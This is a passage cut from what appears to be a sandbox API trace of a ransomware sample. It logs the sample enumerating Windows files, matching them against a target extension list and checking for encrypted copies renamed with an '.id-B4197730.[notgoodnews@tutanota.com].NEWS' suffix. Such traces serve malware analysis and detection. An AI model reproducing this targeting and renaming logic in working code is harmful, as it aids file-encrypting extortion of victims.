72 [0158.593] lstrlenW (lpString=".1cd") returned 4 [0158.593] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.593] lstrlenW (lpString=".jpg") returned 4 [0158.593] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.593] lstrlenW (lpString=".doc") returned 4 [0158.593] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.593] lstrlenW (lpString=".docx") returned 5 [0158.593] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0158.593] lstrlenW (lpString=".pdf") returned 4 [0158.593] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.594] lstrlenW (lpString=".xls") returned 4 [0158.594] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.594] lstrlenW (lpString=".xlsx") returned 5 [0158.594] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0158.594] lstrlenW (lpString=".ppt") returned 4 [0158.594] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.594] lstrlenW (lpString=".zip") returned 4 [0158.594] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.594] lstrlenW (lpString=".rar") returned 4 [0158.594] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.594] lstrlenW (lpString=".bz2") returned 4 [0158.594] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.594] lstrlenW (lpString=".7z") returned 3 [0158.594] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.594] lstrlenW (lpString=".dbf") returned 4 [0158.594] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.594] lstrlenW (lpString=".1cd") returned 4 [0158.594] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.594] lstrlenW (lpString=".jpg") returned 4 [0158.594] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.594] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.594] lstrlenW (lpString="ipschs.xml") returned 10 [0158.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0158.821] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2462) returned 1 [0158.821] CloseHandle (hObject=0x3f8) returned 1 [0158.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0158.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.824] lstrlenW (lpString=".doc") returned 4 [0158.824] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.824] lstrlenW (lpString=".docx") returned 5 [0158.824] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0158.824] lstrlenW (lpString=".pdf") returned 4 [0158.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.824] lstrlenW (lpString=".xls") returned 4 [0158.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.825] lstrlenW (lpString=".xlsx") returned 5 [0158.825] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0158.825] lstrlenW (lpString=".ppt") returned 4 [0158.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.825] lstrlenW (lpString=".zip") returned 4 [0158.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.825] lstrlenW (lpString=".rar") returned 4 [0158.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.826] lstrlenW (lpString=".bz2") returned 4 [0158.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.826] lstrlenW (lpString=".7z") returned 3 [0158.829] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.829] lstrlenW (lpString=".dbf") returned 4 [0158.832] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.839] lstrlenW (lpString=".1cd") returned 4 [0158.839] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.839] lstrlenW (lpString=".jpg") returned 4 [0158.839] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.839] lstrlenW (lpString=".doc") returned 4 [0158.839] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.839] lstrlenW (lpString=".docx") returned 5 [0158.839] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0158.839] lstrlenW (lpString=".pdf") returned 4 [0158.839] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.839] lstrlenW (lpString=".xls") returned 4 [0158.839] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.839] lstrlenW (lpString=".xlsx") returned 5 [0158.839] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0158.839] lstrlenW (lpString=".ppt") returned 4 [0158.839] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.839] lstrlenW (lpString=".zip") returned 4 [0158.839] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.839] lstrlenW (lpString=".rar") returned 4 [0158.839] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.839] lstrlenW (lpString=".bz2") returned 4 [0158.839] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.839] lstrlenW (lpString=".7z") returned 3 [0158.839] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.840] lstrlenW (lpString=".dbf") returned 4 [0158.840] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.840] lstrlenW (lpString=".1cd") returned 4 [0158.840] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0158.840] lstrlenW (lpString=".jpg") returned 4 [0158.840] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.840] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.840] lstrlenW (lpString="ipsplk.xml") returned 10 [0158.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0158.841] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2600) returned 1 [0158.841] CloseHandle (hObject=0x3f8) returned 1 [0158.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0158.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.841] lstrlenW (lpString=".doc") returned 4 [0158.841] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.841] lstrlenW (lpString=".docx") returned 5 [0158.841] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0158.841] lstrlenW (lpString=".pdf") returned 4 [0158.841] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.841] lstrlenW (lpString=".xls") returned 4 [0158.841] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.841] lstrlenW (lpString=".xlsx") returned 5 [0158.841] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0158.841] lstrlenW (lpString=".ppt") returned 4 [0158.841] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.841] lstrlenW (lpString=".zip") returned 4 [0158.841] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.841] lstrlenW (lpString=".rar") returned 4 [0158.841] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.841] lstrlenW (lpString=".bz2") returned 4 [0158.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString=".7z") returned 3 [0158.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.842] lstrlenW (lpString=".dbf") returned 4 [0158.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.842] lstrlenW (lpString=".1cd") returned 4 [0158.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.842] lstrlenW (lpString=".jpg") returned 4 [0158.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.842] lstrlenW (lpString=".doc") returned 4 [0158.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString=".docx") returned 5 [0158.842] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0158.842] lstrlenW (lpString=".pdf") returned 4 [0158.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString=".xls") returned 4 [0158.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString=".xlsx") returned 5 [0158.842] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0158.842] lstrlenW (lpString=".ppt") returned 4 [0158.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.842] lstrlenW (lpString=".zip") returned 4 [0158.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.842] lstrlenW (lpString=".rar") returned 4 [0158.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString=".bz2") returned 4 [0158.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.842] lstrlenW (lpString=".7z") returned 3 [0158.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.843] lstrlenW (lpString=".dbf") returned 4 [0158.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.843] lstrlenW (lpString=".1cd") returned 4 [0158.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0158.843] lstrlenW (lpString=".jpg") returned 4 [0158.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.843] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.843] lstrlenW (lpString="ipsptb.xml") returned 10 [0158.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0158.843] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2246) returned 1 [0158.843] CloseHandle (hObject=0x3f8) returned 1 [0158.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0158.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.844] lstrlenW (lpString=".doc") returned 4 [0158.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.844] lstrlenW (lpString=".docx") returned 5 [0158.844] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0158.844] lstrlenW (lpString=".pdf") returned 4 [0158.844] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.844] lstrlenW (lpString=".xls") returned 4 [0158.844] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.844] lstrlenW (lpString=".xlsx") returned 5 [0158.844] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0158.844] lstrlenW (lpString=".ppt") returned 4 [0158.844] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.844] lstrlenW (lpString=".zip") returned 4 [0158.844] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.844] lstrlenW (lpString=".rar") returned 4 [0158.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.844] lstrlenW (lpString=".bz2") returned 4 [0158.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.844] lstrlenW (lpString=".7z") returned 3 [0158.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.844] lstrlenW (lpString=".dbf") returned 4 [0158.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.844] lstrlenW (lpString=".1cd") returned 4 [0158.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.845] lstrlenW (lpString=".jpg") returned 4 [0158.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.845] lstrlenW (lpString=".doc") returned 4 [0158.845] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString=".docx") returned 5 [0158.845] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0158.845] lstrlenW (lpString=".pdf") returned 4 [0158.845] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString=".xls") returned 4 [0158.845] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString=".xlsx") returned 5 [0158.845] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0158.845] lstrlenW (lpString=".ppt") returned 4 [0158.845] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.845] lstrlenW (lpString=".zip") returned 4 [0158.845] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.845] lstrlenW (lpString=".rar") returned 4 [0158.845] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString=".bz2") returned 4 [0158.845] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString=".7z") returned 3 [0158.845] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.845] lstrlenW (lpString=".dbf") returned 4 [0158.845] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.845] lstrlenW (lpString=".1cd") returned 4 [0158.845] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0158.845] lstrlenW (lpString=".jpg") returned 4 [0158.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.846] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.846] lstrlenW (lpString="ipsptg.xml") returned 10 [0158.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0158.846] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2240) returned 1 [0158.846] CloseHandle (hObject=0x3f8) returned 1 [0158.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0158.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.846] lstrlenW (lpString=".doc") returned 4 [0158.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString=".docx") returned 5 [0158.847] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0158.847] lstrlenW (lpString=".pdf") returned 4 [0158.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString=".xls") returned 4 [0158.847] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString=".xlsx") returned 5 [0158.847] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0158.847] lstrlenW (lpString=".ppt") returned 4 [0158.847] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.847] lstrlenW (lpString=".zip") returned 4 [0158.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.847] lstrlenW (lpString=".rar") returned 4 [0158.847] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString=".bz2") returned 4 [0158.847] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString=".7z") returned 3 [0158.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.847] lstrlenW (lpString=".dbf") returned 4 [0158.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.847] lstrlenW (lpString=".1cd") returned 4 [0158.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.847] lstrlenW (lpString=".jpg") returned 4 [0158.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.847] lstrlenW (lpString=".doc") returned 4 [0158.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.847] lstrlenW (lpString=".docx") returned 5 [0158.847] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0158.847] lstrlenW (lpString=".pdf") returned 4 [0158.848] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.848] lstrlenW (lpString=".xls") returned 4 [0158.848] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.848] lstrlenW (lpString=".xlsx") returned 5 [0158.848] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0158.848] lstrlenW (lpString=".ppt") returned 4 [0158.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.848] lstrlenW (lpString=".zip") returned 4 [0158.848] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.848] lstrlenW (lpString=".rar") returned 4 [0158.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.848] lstrlenW (lpString=".bz2") returned 4 [0158.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.848] lstrlenW (lpString=".7z") returned 3 [0158.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.848] lstrlenW (lpString=".dbf") returned 4 [0158.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.848] lstrlenW (lpString=".1cd") returned 4 [0158.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0158.848] lstrlenW (lpString=".jpg") returned 4 [0158.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.848] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.848] lstrlenW (lpString="ipsrom.xml") returned 10 [0158.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0158.849] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2644) returned 1 [0158.849] CloseHandle (hObject=0x3f8) returned 1 [0158.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0158.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common 